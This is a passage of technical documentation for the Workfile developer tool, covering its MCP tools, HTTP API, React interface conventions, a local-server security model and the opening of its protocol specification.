payload gets large. None of them is a closed object either: the degradation
path adds a field, and a schema that forbade it would invalidate the server's
own answer.
`project_card_release` is the one place where an enum is narrower than the
protocol's: a released card cannot stay `doing`, so that value is refused as an
explicit target and omitted from the schema.
`method` is the second. `project_card_transition`, `project_card_patch` and
`project_card_release` each take `method`, `run` and `evidence`, which say how a
close was proved — but the enum offers `local`, `ci` and `manual` only. `forced`
is derived from what the acceptance gate waived and is refused as an input, and
in any case no MCP tool can force a transition today: `project_card_transition`
declares neither `force` nor `reason` and reads neither, so a close through this
surface is always a proven one. Passing any of the three on a call that does not
move the card into `done` is refused rather than ignored.
That last point has a consequence worth stating, now that a project can declare
which methods an area accepts. `CARD_VERIFICATION_METHOD_REFUSED` is **final on
this surface**: the waiver every other surface offers is `force` with a reason,
and no MCP tool carries either. An agent that meets it has to prove the card the
way the project asks — read `project_workspace` first, under
`cards.verification.methods`, rather than discovering the rule by being refused.
Omitting `method` is not the way around it: a close with none records `local`.
`project_doctor` takes `checkGit` beside `checkPaths`. It gates the one check
that leaves the process — whether a done card's commit is still an ancestor of
HEAD — and nothing is spawned unless some card carries a commit.
## Resources and prompts
- **Resources:** `project://workspace`, `project://health`, `project://protocol`,
`project://record/{id}`.
- **Prompts:** `start-work`, `finish-work`, `record-knowledge`.
## Limits
Two, both from `project.config.mjs`, and they guard opposite directions.
| Key | Default | What it does |
| --- | --- | --- |
| `mcp.maxMessageBytes` | 1 MiB | An incoming JSON-RPC line larger than this is refused with `-32600` before it is parsed. |
| `mcp.maxToolResultBytes` | 512 KiB | A result larger than this is truncated with a `truncated` marker rather than failing the call. |
Both accept 1 KiB to 16 MiB. The asymmetry between them is deliberate: an
oversized *request* is a client defect and failing it early is the honest
answer, while an oversized *result* is usually a get-by-id with no query to
narrow, so degrading beats refusing.
`mcp.resourcePageSize` (default 100, range 1–500) bounds how many records one
resource read returns.
## Process hygiene
stdout is reserved exclusively for MCP messages; diagnostics go to stderr.
`workfile mcp config` emits the Node executable, the **`workfile-mcp` binary**,
workspace root, preferred protocol revision and optional `--read-only` flag, so
hosts can build their own client configuration — client-specific files stay
outside the canonical repository protocol.
It names the dedicated binary rather than `workfile mcp` on purpose: the
multiplexed CLI takes the third argument as a subcommand, so a `--root` in that
position is not a flag it can parse. `test/mcp.test.ts` spawns exactly what the
helper returns and drives a handshake through it, so the emitted command cannot
drift into being unrunnable again.
---
<!-- https://workfile.illodev.com/docs/http-api -->
# HTTP API
`workfile ui` starts the local server (default `http://127.0.0.1:4747`). The same
core services back the CLI, the MCP server and the UI — the API is a thin layer.
## Conventions
- Managed record reads expose an `ETag`; mutations accept `If-Match` and reject
stale writes with a conflict error.
- Errors use stable codes:
```json
{
"error": {
"code": "MEMORY_WRITE_CONFLICT",
"message": "The memory record changed after it was loaded.",
"details": {}
}
}
```
- List endpoints accept `q`, `limit` and `offset`; responses carry `total`.
- List endpoints also accept `view=full|summary|list` and `fields=a,b,c`.
`summary` replaces the Markdown body with `bodyBytes` and a 200-character
`excerpt` and reduces the link arrays to ids and relations; `list` drops the
excerpt too. `fields` overrides the view and returns exactly those keys.
Measured on 100 records: 169 KB full, 70 KB summary, 43 KB list, 6.7 KB for
three fields.
`full` is the default deliberately — the packaged UI still renders record
bodies out of its list responses — so narrowing is opt-in until it fetches
what it displays.
- Collection reads carry an `ETag` over the page they return, and honour
`If-None-Match` with a `304`. Cards are the corpus a polling client re-fetches
most, so this is where it matters: the steady state costs a header exchange.
- JSON responses above ~1.4 KB are gzipped when `Accept-Encoding` allows it,
with `Vary: Accept-Encoding`. Brotli is not offered: ~14% smaller for roughly
an order of magnitude more CPU on a single-threaded server.
- `Cache-Control` is `no-cache` — revalidate every time, but a revalidation may
answer `304`. It is deliberately not `no-store`, which would forbid that.
## Events
`GET /api/v2/events` is a Server-Sent Events stream of workspace changes.
```
event: hello
data: {"serverId":"aec9c77abfc871ec","lastEventId":0}
id: 1
event: records.changed
data: {"epoch":1,"count":1,"paths":[".project/cards/T-0042-example.md"]}
```
| Event | Meaning |
| --- | --- |
| `hello` | Sent on connect. `serverId` distinguishes a reconnection to the same process from one to a restarted process whose ids began again. |
| `records.changed` | Files changed. Carries the paths and the new index `epoch`. |
| `activity.changed` | A card write may have changed who is working on what. A separate event so a presence view need not refetch records. |
| `sync.reset` | Too many paths at once (a `git checkout`, a release), or the client's `Last-Event-ID` fell off the ring buffer. Refetch rather than applying a delta. |
Events are **invalidations, not payloads**: no record body ever travels down the
channel. The client fetches what the view it has mounted actually needs.
The source is a file watcher over the protocol corpus, so it sees every writer —
the CLI, an agent over MCP, git, an editor — not only mutations made through
this server. `.project/.cache` is excluded: it holds the locks that churn on
every write, the persisted index and agent activity, so watching it would feed
back into itself.
`EventSource` reconnects on its own and resumes with `Last-Event-ID`. The
watcher is a fast path and not the source of truth — `fs.watch` is silent on
network filesystems and its queue is bounded — so the index still revalidates
against the filesystem. A dropped event costs latency, never correctness.
## Diagnostics
`GET /api/v2/metrics` reports request counts per route, p50/p95 latency over the
last thousand requests, the index epoch, connected event clients and the
watcher's mode. `workfile ui --verbose` (or `PROJECT_LOG=1`) also writes one line
per request to stderr, and any 5xx logs its stack — which nothing did before, so
an error shown in the interface had no counterpart anywhere to diagnose it from.
## Activity
`GET /api/v2/activity` answers who is working on what, combining three signals
that already existed and that nothing joined up:
- the lock files `withFileLock` writes, which exist exactly as long as a write
does — the most precise "right now" the system has;
- the durable claims in card frontmatter (`claimed_by`, `claimed_at`, `scope`);
- session heartbeats under `.project/.cache/activity/sessions/`.
Each claim carries a derived `state`: `live` (a session is signalling),
`held`, `stale` (past `cards.claimLeaseHours`) or `orphaned` (a session that
stopped signalling). That distinction is the point — a claim from four minutes
ago and one from a process that died three days ago looked identical before.
`conflicts` lists claims by *different* actors whose scopes overlap. This is the
situation claims exist to prevent, and it was computed inside `claimCard` and
then thrown away with the response.
## Request guard
The server holds unauthenticated read and write access to the repository, so the
browser's own origin rules are the entire security model. Every request is
checked before routing:
| Condition | Response |
| --- | --- |
| `Host` outside the allowlist, or its port is not the listening port | `403 REQUEST_HOST_FORBIDDEN` |
| `Sec-Fetch-Site` present and not `same-origin` / `none` | `403 REQUEST_ORIGIN_FORBIDDEN` |
| `Origin` present and outside the allowlist | `403 REQUEST_ORIGIN_FORBIDDEN` |
| `POST`/`PUT`/`PATCH`/`DELETE` with a CORS-simple or missing `Content-Type` | `415 REQUEST_CONTENT_TYPE_INVALID` |
The allowlist is `127.0.0.1`, `localhost` and `::1`, plus the bind address when
`--host` names a specific non-wildcard interface.
The last rule matters as much as the others: `text/plain`,
`application/x-www-form-urlencoded`, `multipart/form-data` and *no* content type
at all are CORS-simple, so a cross-origin page could send them without a
preflight. Requiring anything else forces a preflight, which this server never
answers.
Practical consequence for clients: **mutations must set an explicit
`Content-Type`**. Use `application/json` for the JSON API and
`application/octet-stream` (or any concrete binary type) for asset uploads. A
`fetch` that passes a `File` or an `ArrayBuffer` without setting the header will
be refused.
Non-browser clients are unaffected — `curl` sends no `Origin` and no
`Sec-Fetch-Site`, and its `Host` is the loopback address it dialled.
Assets are served with `X-Content-Type-Options: nosniff`, a
`default-src 'none'; sandbox` CSP, and `Content-Disposition: attachment` for
anything outside a narrow inline allowlist. Uploads of types that can execute
script (`.html`, `.svg`, `.mjs`, …) are refused with
`400 ASSET_TYPE_NOT_ALLOWED`.
## Workspace and index
```text
GET /api/v2/workspace
GET /api/v2/schema
GET /api/v2/health
GET /api/v2/update
GET /api/v2/records?q=&kind=&limit=&offset=
GET /api/v2/search?q=&kind=&limit=&offset=&mode=
GET /api/v2/records/:id
```
`/update` answers whether a newer `@illodev/workfile` is published:
`{ status, installed, latest, checkedAt, nextCheckAt, source }` with `status`
one of `behind`, `current`, `ahead`, `unknown` (no network, or no version in
the answer) or `disabled` (`upgrade.check: false`). It is the one route that
can reach outside the machine — a single `GET` to the npm registry, cached for
24 hours under `.project/.cache` — and the footer calls it once per page load.
The security model states exactly what is sent.
Search responses carry `mode` (`"lexical"`, `"hybrid"` or `"regex"`) and
`provider` (the semantic provider's id, else `null`), so a client can show
which search actually ran.
`/search` consults the semantic provider declared in `project.config.mjs`
(when there is one) and returns `mode: "hybrid"` with per-record
`semanticScore`; `?mode=lexical` opts out. `/records` is always lexical. A `q`
of the full `/pattern/flags` form (flags from `imsu`) runs as a regular
expression over id, title and body, bypasses the provider and returns
`mode: "regex"`; an invalid pattern is `400 SEARCH_REGEX_INVALID`.
## Work
```text
GET/POST /api/v2/cards
PATCH /api/v2/cards/:id
POST /api/v2/cards/:id/claim
POST /api/v2/cards/:id/transition
POST /api/v2/cards/:id/archive
POST /api/v2/cards/:id/reopen
POST /api/v2/cards/bulk
```
`PATCH /api/v2/cards/:id`, `POST /api/v2/cards/:id/transition` and
`POST /api/v2/cards/bulk` accept `method`, `run` and `evidence` beside `actor`,
`force` and `reason`. They describe the write rather than the card, so they are
lifted out of the flat body the same way `force` is, and a client that sends
`{"status": "done", "method": "ci", "run": "https://…"}` gets a card whose
`verified` block says so. Sending any of them on a write that does not move the
card into `done` is `400 CARD_VERIFICATION_NOT_APPLICABLE` rather than a silent
drop; `method: "forced"` is `400 CARD_VERIFICATION_METHOD_CONFLICT`, since it is
derived from what `force` waived. The legacy `PATCH /api/tasks/:id` accepts the
same three.
A method the card's area does not accept is `409 CARD_VERIFICATION_METHOD_REFUSED`,
and the body's details carry the accepted list. Omitting `method` is not a way
around it — a close with none records `local`, which is judged like any other.
`GET /api/v2/schema` reports the policy under `cards.verification.methods`, so a
client can read it before it writes. `force` with a `reason` waives it, and the
card then records `forced`.
## Docs
```text
GET/POST /api/v2/docs
GET/PATCH /api/v2/docs/:id
```
## History
```text
GET/POST /api/v2/changelog
GET/PATCH /api/v2/changelog/:id
POST /api/v2/changelog/releases/preview
POST /api/v2/changelog/releases
GET/POST /api/v2/changelog/render
```
## Memory
```text
GET/POST /api/v2/memory
GET/PATCH /api/v2/memory/:id
POST /api/v2/memory/:id/graduate
POST /api/v2/memory/:id/supersede
```
## Agents and CI
```text
GET /api/v2/agents
POST /api/v2/agents/sync
GET /api/v2/agents/context?card=T-0001
GET /api/v2/ci
POST /api/v2/ci/sync
```
## MCP inspection
```text
GET /api/v2/mcp
GET /api/v2/mcp/config
```
## Legacy routes
`/api/tasks`, `/api/health` and `/api/knowledge` remain for existing callers.
The packaged UI no longer uses the first two: it boots from
`/api/v2/workspace` (identity plus the runtime schema) and reads
`/api/v2/cards`, which — unlike `/api/tasks` — honours `q`, `limit`, `offset`
and `view`, and carries an ETag.
Asset upload is still `POST /api/tasks/:id/assets`; it has no v2 equivalent yet.
New integrations should target `/api/v2/*`.
---
<!-- https://workfile.illodev.com/docs/ui -->
# The interface
The UI is a React application in `ui/`, compiled by Vite into `dist/ui` and
served by the same `node:http` server that answers the API. It ships
precompiled: `files` publishes `dist`, so nothing the interface is built with
reaches a consumer's `node_modules`.
## Zero runtime dependencies is a published guarantee
`dependencies` is empty. `@types/node` is an optional peer dependency —
unpinned, and never installed for you — because two of the published `.d.ts`
files name Node types, and a consumer type-checking them with
`skipLibCheck: false` needs them. React, Radix, Tailwind, Lucide and the
shadcn tooling are all `devDependencies`.
This is enforced, not documented and hoped for. `test/dependencies.test.ts`
asserts that `dependencies` is empty and that the only peer is the optional
`@types/node`, and also that there are no `optionalDependencies`,
`bundleDependencies`, or install hooks that would smuggle a tree in past that
check. `test/design-system.test.ts` asserts the empty list a second time, from
the other direction.
The guard matters because `shadcn add` writes its imports into
`dependencies` by default. One un-corrected run would publish Radix, Lucide
and CVA into every consumer's install, and nothing about the repository
would look wrong. Install what a component needs yourself, with `-D`,
before running `add` — then check the test still passes.
`pnpm run smoke:package` goes further: it packs the tarball, installs it in
a clean consumer, and checks that React is absent from the resulting tree.
## shadcn/ui is the design system
The third migration (`ADR-0005`) put shadcn/ui on Tailwind v4 underneath
the interface — wholesale, zinc as published, after two reverted attempts
taught that adopting a framework means adopting its look. The bespoke
stylesheet is gone; `ui/src/styles.css` is now the token bridge:
- `@import "tailwindcss"`, the registry's shared utilities from
`shadcn/tailwind.css` (scroll-fade and friends), and `typeset.css` — the
styling system for rendered Markdown.
- The zinc palettes for `:root` and `[data-theme="dark"]`. Themes still
switch on the `data-theme` attribute the app stamps; a `@custom-variant`
bridges the registry's `dark:` utilities to it.
- The three semantic namespaces — `--status-*`, `--priority-*`, `--sev-*` —
ported byte-for-byte from the system they outlived. They are the first
named exception ADR-0005 allows, applied through the helpers in
`ui/src/theme.ts` or the mapped utilities (`text-status-doing`).
- `--primary` and `--primary-foreground`, the second and last exception:
the landing's brand blue rather than zinc's near-black (`ADR-0009`).
Everything that means "the primary action" follows the token, so no
component knows about it.
- `--row-h`, the single density token: 40px compact by default, 48px under
`:root[data-density="comfortable"]`. Tables key their row height off it.
- Scrollbars, styled once on `*` in `@layer base` from `--border` and
`--muted-foreground`. Declared there rather than as a class because a
scroller that forgets the class is exactly the one that looks wrong.
`test/design-system.test.ts` enforces the direction: the framework imports
must be present, the registry must exist and stay free of application
imports, no component may speak the dead bespoke vocabulary or name a
colour literal, every `var()` referenced must be declared, and the dark
palette must follow `data-theme`. `test/tokens.test.ts` walks the theme
blocks with a real parser and fails if the dark palette drops a token the
light one declares.
### Where components live
- `ui/src/components/ui/` is the registry — generated by `shadcn add` and
replaced wholesale on regeneration. Hand-edited only where a comment in the
file says why; the control scale below is the one standing amendment.
- `ui/src/components/domain/` holds the virtual table, the kanban and the
Gantt: Workfile's own decisions about how work is displayed, composed
from registry parts.
- Everything else in `ui/src/components/` is application glue — the
inspector, the editors, the palette, the settings dialog. `RecordDrawer`
is the overlay a record is read in, and both the card inspector and the
memory record go through it: one drawer, one set of dismissal rules.
- `ui/src/lib/utils.ts` carries `cn()`; `ui/src/hooks/` the registry hooks.
### Adding a component
```sh
pnpm dlx shadcn@latest add <component>
node --test test/dependencies.test.ts # nothing reached dependencies
node --test test/design-system.test.ts # registry discipline holds
```
The CLI resolves `@/` from the **root** `tsconfig.json` — its `paths` entry
exists solely for this, and removing it makes `shadcn add` write into a
literal `@/` directory beside `package.json`. App code resolves the same
alias through `ui/tsconfig.json` and the matching `resolve.alias` in
`vite.config.mjs`; the two must stay in sync. Note `ui/tsconfig.json`
declares `paths` without `baseUrl` — TypeScript 7 removed `baseUrl`, and
reintroducing it aborts the whole typecheck with TS5102 before a single
file is checked.
### Conventions the framework does not decide
- **Native selects in table rows** — never a portal select mid-row. The
registry's NativeSelect restyles the real `<select>` the Explorer rows
depend on.
- **Density is one token.** Components never hardcode a row height; they
read `var(--row-h)`. The comfortable/compact switch is the `data-density`
attribute on the root element, flipped from the settings dialog alongside
the theme. Both are browser preferences the shell owns and persists in
`localStorage`; `components/Settings.tsx` renders them and stores nothing,
because a theme that needed a dialog mounted to exist would be worse than
the two header buttons it replaced.
- **Controls share one height scale.**
`ui/src/components/ui/control-size.ts` holds four rungs, 4px apart, and
`Button`, `Input`, `InputGroup` and `NativeSelect` compose their variants
from it — so `size="sm"` is 28px whichever of them you wrote it on, and a
toolbar that mixes them cannot sit crooked. `default` is 32px, the second
rung from the foot: this is a record tool, and before the scale existed
twenty-one hand-written heights had already patched the registry's 36px
down, which is exactly how the Memory field ended up one rung taller than
the chips beside it. Filter strips ride `sm`; the shell header and the
dialogs ride the default; Triage's decision row is the one deliberate
`lg`, because it is the only place you sit and hit the same seven buttons
card after card. A height class written onto a call site is the bug —
`test/control-size.test.ts` fails on any rung height applied to a control,
while arbitrary values are left alone, because `h-[22px]` on the Explorer's
row select is how a view says "deliberately off the scale" rather than "I
could not reach it".
This is the one place the registry is deliberately not kept as generated;
all four files carry a comment saying so, and the amendment has to be
re-applied if `shadcn add` is ever run over them. Sizing is precisely the
change you want to take every component at once — the mirror image of the
chip's pointer rule below, which is kept *out* of `components/ui/` for the
same reason read the other way.
- **Colours are tokens.** Status, priority and severity ride the semantic
namespaces via `theme.ts`; everything else is a shadcn token utility. A
literal colour anywhere in `ui/src` fails the suite — the brand mark in
the sidebar strokes `currentColor` for exactly that reason.
- **Free text is one control that says what it matches.** Every filter bar
renders `ui/src/components/FilterSearch.tsx`, and its two placeholders are
the only place the match rule is written down. The record collections
search on the server over id, title, metadata and body — the body by whole
token, the title by substring — while the card views filter in the browser
over identity and metadata, reaching prose only through `body:`. Two
corpora, so two sentences, neither promising what the other does. The term
rides the address bar like every other filter (`?q=` for cards, `?find=`
for docs, history and memory). `test/filter-search.test.ts` fails if a view
grows a box of its own or a wording of its own.
- **A filter that is not in the URL is a filter that dies on reload.** Every
one of them is state the shell owns and `ui/src/query.ts` serialises — the
card axes flat (`?status=`, `?area=`, …), the record collections' axes
namespaced by view (`?docs-managed=1`, `?history-state=`,
`?memory-collection=`, `?memory-status=`). The prefix is a rule and not a
case-by-case choice: the obvious name for Memory's is `status`, which the
card filter already owns, and the loser of a clash like that filters by
nothing without saying so. A record view therefore takes its filters as a
prop and reports changes as a patch, so its coupled pairs — picking a Memory
collection clears the status that belonged to it — reach the address bar in
one write. Same suite: it fails on a view that takes one back into a
`useState`, and on a parameter that collides with a card axis.
- **A record opened from a list can be read as a sequence.** Every panel that
reads a record — the card inspector, the memory panel, the generic record
panel, and the readers Docs and History own themselves — renders
`ui/src/record-cursor.tsx`, and the rule for where previous and next go is
`recordNeighbours` in `navigation.ts`, beside the other navigation rules. The
list is whatever the view was showing, in the order it was showing it, so it
narrows when the filters do; each view publishes its own as the second
argument to `onSelect`. **Absent, not guessed, where there is no list:** a
`[[LRN-0004]]` in a body, a `related` row, the command palette, and a node of
the Workflow graph all open a record with nothing behind it, and a force
layout is not an order. At the ends of a real list the control renders with
one half disabled, which is how a reader tells "no next" from "there was
never a sequence here". It is a context rather than a prop for the reason
`read-only.tsx` gives: the panels sit in three different places, and all
three have to reach it.
- **The filter bar is one container, and it decides what may scroll away.**
`ui/src/components/FilterBar.tsx` owns the whole bar in every view that has
one — the shell, Docs, History, Memory, Workflow and the Gantt toolbar — and
`FilterChip` and `FilterToggle` are declared there once rather than in each
of them. Controls go in the strip, which keeps to a single line and scrolls
sideways; the free-text field (`before`) and anything you have to reach in a
hurry (`after`, the graph's Fit) stay outside it, because everything in the
strip may scroll out of sight. That split is what T-0193 and T-0195
disagreed about: `FilterSearch` is a control the bar positions, not a second
container. The bleed classes cancel the bar's own gutter so the strip runs
to the screen edge, which is why they are a written-out pair per gutter
rather than a computed one — Tailwind reads class names as literals.
- **A chip in a strip opens on the click, not on the press.** Radix opens
menus from a `pointerdown` handler, so on a phone a drag that started on a
chip opened the menu instead of scrolling the strip. `FilterChip` cancels
that press for touch and pen — the primitive composes its handler after the
one it is passed and skips a default-prevented event — and opens from the
`click`, which the browser withholds once the finger has scrolled. A mouse
keeps the primitive's behaviour, where press-drag-release onto an item is a
real way to use a menu. `touch-action: pan-x` on the scroller was the other
candidate and it is neither necessary nor sufficient: measured in Chromium
at 390 points with touch emulation, on its own the menu still opened and the
strip still did not move. The rule lives in application code, never in
`components/ui/` — that file is regenerated, and the change would take every
menu in the application with it. `test/filter-bar.test.ts` pins the
mechanism; only a browser can prove the behaviour.
- **The footer's claim area is one control.** The ledger strip and the
compact badge beside the doctor chip are two triggers for the same popover,
because the strip is `lg:` only and a narrower window would otherwise have
no way in. What the popover says about staleness is `claim.state`, computed
on the server from `cards.claimLeaseHours` — the interface never carries a
second copy of that threshold, and `RuntimeSchema` deliberately does not
publish the number. Its scope overlaps come from `activity.conflicts`
(claimed cards, different actors, shared paths), not from `main.tsx`'s
`scopeConflicts`, which pairs in-progress cards whether or not anybody
claimed them and stays on its own work-view alert. Rows are ordered worst
first in the ladder the Overview's verdict sentence already uses, so the two
surfaces cannot disagree about which claim matters;
`test/claim-ledger.test.ts` pins that order.
- **A collapsed rail names itself; an expanded one stays quiet.**
`SidebarMenuButton` takes a `tooltip` prop for this and `main.tsx` does not
use it. The prop renders the tooltip in both states and only marks it
`hidden` while the rail is expanded, and hidden is not unmounted: Radix
still opens it on hover, and an open tooltip is a dismissable layer that
answers Escape in the capture phase — so a hovered rail would take the key
off the shell for no reason the reader can see. `NavTooltip` mounts the
content only while the labels are hidden, and keeps the `Tooltip` around
the button in both states, because a wrapper that came and went would
change the element type at that position and have React rebuild the button
underneath, dropping keyboard focus on every toggle.
`test/shell.test.ts` holds both halves.
- **Escape belongs to the topmost overlay.** The shell's global Escape
handler is the floor under the Radix layers and skips a key one of them
already consumed (`event.defaultPrevented`). Asking the DOM which dialog
is open does not work: the layer that handled the key has already
unmounted by the time a bubble-phase listener runs.
## Demo builds
`pnpm run build:demo` produces `dist/demo`, a static bundle that replays a
snapshot of this repository's own workspace with in-memory mutations. It has no
server behind it, so **every view must reach the network through `ui/src/api.ts`**.
A component calling `fetch` directly gets a 404 that its own catch swallows, and
the feature is simply absent from the hosted demo — which is how the presence
strip and the command palette were both silently dead there.
`test/demo-parity.test.ts` fails if any view does this.
---
<!-- https://workfile.illodev.com/docs/security -->
# Security model
Workfile is a local tool. Its threat model is small but not empty, and
the parts that matter are not obvious, so they are written down here.
## What the local server is
`workfile ui` starts an HTTP server that has **unauthenticated read and write
access to the repository**. There is no login, no token and no per-user
permission: if a request reaches the handler, it can read every record body and
write every managed file.
That is a deliberate trade — it is a developer tool bound to loopback — but it
means the browser's own origin rules *are* the security model. Everything below
exists to make sure they actually apply.
## Boundaries the server enforces
**Origin.** Requests are checked before routing. `Host` must be in the
allowlist and its port must match the port actually being listened on;
`Sec-Fetch-Site` must be `same-origin` or `none`; `Origin`, when present, must
be in the allowlist. See [`http-api.md`](/docs/http-api.md#request-guard) for the
exact codes.
The `Host` check is not redundant with the `Origin` check. Without it, DNS
rebinding puts an attacker's page on the *same* origin as the server, which
means it can read responses rather than only writing blind.
**Preflight.** Mutating methods must declare a `Content-Type` that is not
CORS-simple. `text/plain`, `application/x-www-form-urlencoded`,
`multipart/form-data` and *no content type at all* are simple: a cross-origin
page can send them without a preflight, and the browser only hides the
response. Requiring anything else forces a preflight, which this server never
answers.
**Path containment.** Every repository-relative path resolves through
`containedPath`, which is the single containment criterion for configured
paths, asset names and document scopes. Asset names are reduced to a
`basename` and stripped of separators.
**Read-only workspaces.** `ensureWritable` lives in `src/core/guards.ts` and is
called from the mutation layer of every module plus the three surface-level
write paths (agent instructions, CI templates, asset uploads). It is one
function on purpose: while it was four private copies, the three paths that
never got one silently ignored `readOnly`.
**Body limits.** JSON bodies are capped at 1 MiB and asset uploads at 25 MiB.
Individual record files are rejected above `docs.maxFileBytes` before being
read.
## Uploaded assets
Assets attached to cards are repository content supplied by whoever can reach
the server, and they are served from the same origin as the API. Two rules keep
them inert:
- Only a narrow allowlist (`png`, `jpg`, `jpeg`, `gif`, `webp`, `pdf`, `txt`,
`md`, `csv`) is served inline. Everything else is
`application/octet-stream` with `Content-Disposition: attachment`.
- Types that can execute script — `.html`, `.htm`, `.xhtml`, `.xml`, `.svg`,
`.js`, `.mjs`, `.cjs`, `.wasm` — are refused **at upload time** with
`ASSET_TYPE_NOT_ALLOWED`, not merely at serve time. Blocking them at rest
means a future change to the serving rules cannot resurrect the vector on
files already on disk.
Responses carry `X-Content-Type-Options: nosniff` and a
`default-src 'none'; sandbox` content security policy.
`image/svg+xml` is excluded on purpose even though SVG is an image: it executes
script.
## Rendering repository content
The UI renders Markdown bodies into React elements and never uses
`dangerouslySetInnerHTML`. Combined with React's own `href` sanitisation, there
is no XSS vector from record content.
**This property is load-bearing.** Any future editor or renderer must keep
generating elements rather than raw HTML. Introducing a Markdown pipeline that
emits an HTML string would reopen a hole that is currently closed.
## Binding to a non-loopback address
`workfile ui --host` accepts an address other than loopback. Doing so exposes
unauthenticated read and write access to the repository to everyone who can
reach that interface. The bind address is added to the `Host` allowlist so the
server is usable, but no authentication is added — because there is none to
add.
Treat `--host` as equivalent to publishing the repository, and prefer an SSH
tunnel.
A wildcard bind (`--host 0.0.0.0`, which is what serving from a container
needs) contributes nothing to the allowlist, so the board also needs
`--allowed-host` to name the address people will reach it by. Both flags are
about reachability; neither adds authentication.
## Publishing a board people only read
`workfile ui --read-only` loads the workspace read-only, so every mutating
route answers `409 WORKSPACE_READ_ONLY` — the same `ensureWritable` guard the
MCP server uses, applied in the one place all writes pass through, not per
route. The UI reads the flag and stands its editing affordances down.
This narrows what a reader can do; it does not decide who the readers are. A
published board still serves every card, document, changelog fragment and
memory record to anyone who can reach it, so put something that authenticates
in front of it — the deployment shape this was built for is a reverse proxy
with HTTP basic auth, with the board itself on an internal network.
## The one outbound request
Nothing in this package reaches the network, with one exception stated here so
it can be judged rather than discovered. `workfile upgrade` and the interface's
footer ask the npm registry whether a newer `@illodev/workfile` is published:
- **What is sent.** One `GET` to `<registry>/@illodev%2Fworkfile/latest` with
`accept: application/json`, no body, and no header beyond what Node's `fetch`
adds on its own — measured against a local registry: `user-agent: node` and
nothing else. Nothing names the workspace, the repository or the machine.
- **To whom.** `npm_config_registry` when npm has set it — a mirror or a
corporate proxy — and `https://registry.npmjs.org` otherwise.
- **When.** At most once a day: the answer is cached in
`.project/.cache/update-check.json` (gitignored) and a failed attempt for an
hour, so an offline machine pays the three-second timeout once, not per
command. `doctor`, the generated CI and every other command never ask.
- **Off.** `upgrade: { check: false }` in `project.config.mjs` removes the
request; it does not hide the message. The MCP server's promise that no
repository data leaves the machine holds either way, because none is sent.
## What is deliberately out of scope
- **Multi-user authorisation.** There are no accounts and no roles. A workspace
is trusted as a whole.
- **Protecting the repository from its own agents.** An agent with shell access
can edit `.project/` directly. Claims and scopes are coordination, not
security.
- **Secrets in records.** Nothing encrypts record bodies. Markdown in
`.project/` is as public as the repository it lives in.
## Reporting
Please report suspected vulnerabilities privately through the repository's
security advisory form rather than a public issue.
---
<!-- https://workfile.illodev.com/docs/spec -->
# Spec — Repository Workfile
> **Status: v2.0 RC2 — MCP INTEGRATION CONTRACT — 2026-07-28**
>
> Product name: **Workfile**
> Package name: `@illodev/workfile`
> CLI name: `workfile` (alias `wf`; the MCP server is `workfile-mcp`)
> Default storage root: `.project/`
>
> This document defines a portable, repository-native operating protocol for project work,
> documentation, change history and durable workfile memory. It is intended for humans and
> software agents working in the same codebase.
>
> The names above are placeholders. Renaming the product or package must not change the data
> model or the protocol.
## 1. Purpose
Projects accumulate operational knowledge in several incompatible places:
- pending work in issue trackers, planning documents, comments and agent summaries;
- documentation spread across READMEs, architecture notes and product specifications;
- changes recorded inconsistently in commits, release notes and changelog files;
- decisions, incidents and lessons retained only in conversations or individual memory.
This fragmentation causes two recurring failures:
1. Humans cannot obtain a reliable view of what the project knows, what it plans to do and
why previous decisions were made.
2. Agents repeatedly rediscover context, produce duplicate work, overwrite each other or
finish a session without persisting newly discovered knowledge.
The Repository Workfile solves this by defining a versioned, local-first standard
whose canonical records live inside the repository as reviewable text files.
The protocol covers four first-class domains:
1. **Work** — cards representing ideas, tasks, bugs, features and execution hierarchy.
2. **Docs** — discoverable project documentation, whether managed or merely indexed.
3. **History** — structured change fragments and generated release changelogs.
4. **Memory** — durable decisions, learnings, incidents, conventions and temporary context.
A local UI, CLI and agent integrations operate over the same data model. None of them owns
exclusive state.
## 2. Goals
The standard MUST:
- keep the repository as the source of truth;
- remain useful without a hosted service;
- work in single repositories and monorepos;
- be readable and editable without the official UI;
- provide deterministic parsing and serialization for agents;
- support thousands of records without hiding work in long documents;
- expose one shared model to CLI, UI, CI and agent tools;
- support configuration without making every project semantically incompatible;
- preserve history through Git instead of replacing it;
- detect invalid, contradictory or stale project state;
- permit gradual adoption by existing projects;
- version the data contract and provide migrations;
- avoid coupling the protocol to a particular AI vendor, IDE or issue tracker.
## 3. Non-goals
Version 2 does not aim to be:
- a general-purpose team chat system;
- a replacement for Git;
- a hosted multi-tenant project-management SaaS;
- a real-time distributed lock manager;
- a full sprint, payroll or time-tracking product;
- an automatic truth engine that rewrites documentation based on source code;
- a vector database committed to the repository;
- an unrestricted plugin marketplace;
- a replacement for external issue trackers where an organization requires one.
External systems MAY be integrated through adapters, but the core standard remains usable
without them.
## 4. Design principles
### 4.1 Repository-native
Canonical records are ordinary files committed to Git. A clone of the repository contains
all durable protocol data needed to understand the project.
### 4.2 Text is canonical; indexes are disposable
Markdown and configuration files are authoritative. SQLite, search indexes, embeddings and
other caches are derived state and MUST be rebuildable.
### 4.3 One fact, one owner
The same fact SHOULD NOT be duplicated across paths, filenames, frontmatter and generated
indexes. References are preferred over copied state.
Examples:
- hierarchy uses `parent:` rather than nested task folders;
- attachments are discovered by record ID rather than duplicated in frontmatter;
- generated changelogs consume fragments rather than becoming a second editable source;
- collection labels come from configuration rather than being copied into each document.
### 4.4 Deterministic agent writes
An agent must be able to create or mutate a record without guessing formatting conventions.
The official core MUST provide stable parsing, serialization, ID allocation and validation.
### 4.5 Human-editable escape hatch
The CLI and UI are preferred mutation paths, but direct file editing remains supported.
`workfile doctor` is the reconciliation mechanism after manual edits.
### 4.6 Progressive enhancement
A project MAY adopt only cards first, then documentation, history and memory later. Missing
modules MUST NOT make the installed modules unusable.
### 4.7 Portable semantics, configurable vocabulary
Core behavior is standardized. Projects may configure bounded vocabularies such as areas,
labels and memory collections, but MUST NOT redefine fundamental semantics such as the
meaning of a closed card or the identity of a record.
### 4.8 Local by default
The server binds to loopback by default, performs no telemetry by default and sends no
repository data to an external service unless the user explicitly configures an adapter.
## 5. Terminology
| Term | Meaning |
| --- | --- |
| **Workspace** | A repository root governed by one `project.config.mjs`. |
| **Protocol root** | Directory containing managed protocol records, `.project/` by default. |
| **Module** | A first-class domain: cards, docs, changelog, memory or health. |
| **Record** | A stable identifiable unit represented by a file. |
| **Collection** | A configured group of records sharing a parser and semantics. |
| **Managed document** | A document created and mutated by the protocol. |
